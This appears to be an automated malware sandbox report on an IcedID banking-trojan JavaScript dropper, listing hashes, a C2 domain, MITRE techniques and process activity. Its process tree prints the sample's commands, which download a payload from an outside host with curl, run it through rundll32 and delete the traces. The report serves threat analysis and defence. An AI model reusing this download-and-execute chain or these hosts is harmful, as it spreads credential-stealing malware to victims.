icedid | fd685d5811578ac189ffc6802615e11c86424765cc231a024e97c03c99f37947

General

Target

fd685d5811578ac189ffc6802615e11c86424765cc231a024e97c03c99f37947_JC.js
Size

34KB
MD5

d38a35de750d0d8628cb073a9a0ad8b2
SHA1

b98af1c8fe2a75060fa25a7eee20c32518271822
SHA256

fd685d5811578ac189ffc6802615e11c86424765cc231a024e97c03c99f37947
SHA512

b7348f060b646efd8e7501ce7a411346b7de95a715b7a1d2294df32c2b4ed425262ef0102af2d72c5f3d0f5f8db2f0feede4f5885a2fa6d48f9c2c9b40cde247
SSDEEP

768:RwRahuDvIhINs1sCT7A797k7a7a7Q7u7F7r7e7I7B7C7D7N7y7o727B7of7y7M76:RwRahBhIN3CTMJ4W+cC5fS0VWnJWk6l5

Score

10^/10

icedid 4240553492 banker loader trojan

Malware Config

Extracted

Family

icedid

Campaign

4240553492

C2

oopscokir.com

Signatures

IcedID, BokBot
IcedID is a banking trojan capable of stealing credentials.
trojan banker icedid
Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1980726966-773384374-2129981223-1000\Control Panel\International\Geo\Nation	wscript.exe

Loads dropped DLL 1 IoCs

pid	Process
4856	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
4856	rundll32.exe
4856	rundll32.exe
4856	rundll32.exe
4856	rundll32.exe
4856	rundll32.exe
4856	rundll32.exe
4856	rundll32.exe
4856	rundll32.exe
3340	Process not Found
3340	Process not Found

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
4856	rundll32.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 4248 wrote to memory of 4976	4248	wscript.exe	83
PID 4248 wrote to memory of 4976	4248	wscript.exe	83
PID 4248 wrote to memory of 2592	4248	wscript.exe	85
PID 4248 wrote to memory of 2592	4248	wscript.exe	85
PID 4248 wrote to memory of 4524	4248	wscript.exe	87
PID 4248 wrote to memory of 4524	4248	wscript.exe	87
PID 4524 wrote to memory of 3696	4524	cmd.exe	89
PID 4524 wrote to memory of 3696	4524	cmd.exe	89
PID 4248 wrote to memory of 2404	4248	wscript.exe	94
PID 4248 wrote to memory of 2404	4248	wscript.exe	94
PID 4248 wrote to memory of 4856	4248	wscript.exe	96
PID 4248 wrote to memory of 4856	4248	wscript.exe	96
PID 4248 wrote to memory of 888	4248	wscript.exe	97
PID 4248 wrote to memory of 888	4248	wscript.exe	97

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\fd685d5811578ac189ffc6802615e11c86424765cc231a024e97c03c99f37947_JC.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4248
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\fd685d5811578ac189ffc6802615e11c86424765cc231a024e97c03c99f37947_JC.js"
  2⤵
  PID:4976
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c echo curl https://avestainfratech.com/out/t.php --output "C:\Users\Admin\AppData\Local\Temp\dignissimos.neaque.x" --ssl-no-revoke --insecure --location > "C:\Users\Admin\AppData\Local\Temp\dignissimos.n.bat"
  2⤵
  PID:2592
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\dignissimos.n.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4524
- - C:\Windows\system32\curl.exe
    curl https://avestainfratech.com/out/t.php --output "C:\Users\Admin\AppData\Local\Temp\dignissimos.neaque.x" --ssl-no-revoke --insecure --location
    3⤵
    PID:3696
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ren "C:\Users\Admin\AppData\Local\Temp\dignissimos.neaque.x" "dignissimos.n"
  2⤵
  PID:2404
- C:\Windows\System32\rundll32.exe
  "C:\Windows\System32\rundll32.exe" "C:\Users\Admin\AppData\Local\Temp\dignissimos.n", scab /k arabika752
  2⤵
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  PID:4856
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\dignissimos.n.bat"
  2⤵
  PID:888

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\dignissimos.n

Filesize
638KB

MD5
3601ef1cf714bb9fd40ce1652e6bffeb

SHA1
d652aada52ae0e93692e2065d9c93cf133537eab

SHA256
3f37e609296627b612ba88cecf1fb90985ff5b9760510f8a6127de0d7a9cf1e2

SHA512
0a4e4ed9d24784ff1cee5183adbd3bece731b087217368a683c697d85db42f79682007dfae9c3aa72ec4cef5dd3942404da4cd6acefcb4bf037e00369a16ec08

Download Submit
C:\Users\Admin\AppData\Local\Temp\dignissimos.n.bat

Filesize
149B

MD5
c35fe7fbb1aec6c72da5d0fdeb26c222

SHA1
f0ef85f0d7fed0b54dc9f7fadf777089b1f404f8

SHA256
737835adf64ffb2bfd6dc3d7ab2d23d2c82f292ec736997f5fa5f89eb8c13983

SHA512
727213eeebfeb2222113a683e681642bbb7d3df42e32ae0e4457689b7bb8c6630122b1b6c1d220073b1ac44c749cf03d3074ec034237cec2f0680126eef875ff

Download Submit
C:\Users\Admin\AppData\Local\Temp\dignissimos.neaque.x

Filesize
638KB

MD5
3601ef1cf714bb9fd40ce1652e6bffeb

SHA1
d652aada52ae0e93692e2065d9c93cf133537eab

SHA256
3f37e609296627b612ba88cecf1fb90985ff5b9760510f8a6127de0d7a9cf1e2

SHA512
0a4e4ed9d24784ff1cee5183adbd3bece731b087217368a683c697d85db42f79682007dfae9c3aa72ec4cef5dd3942404da4cd6acefcb4bf037e00369a16ec08

Download Submit
memory/3340-6-0x00007FF9D03B1000-0x00007FF9D03B2000-memory.dmp

Filesize
4KB

Download
memory/3340-7-0x0000000180000000-0x0000000180009000-memory.dmp

Filesize
36KB

Download
memory/3340-14-0x00007FF9D03B1000-0x00007FF9D03B2000-memory.dmp

Filesize
4KB

Download
memory/4856-5-0x00000220373E0000-0x00000220373E4000-memory.dmp

Filesize
16KB

Download

Analysis

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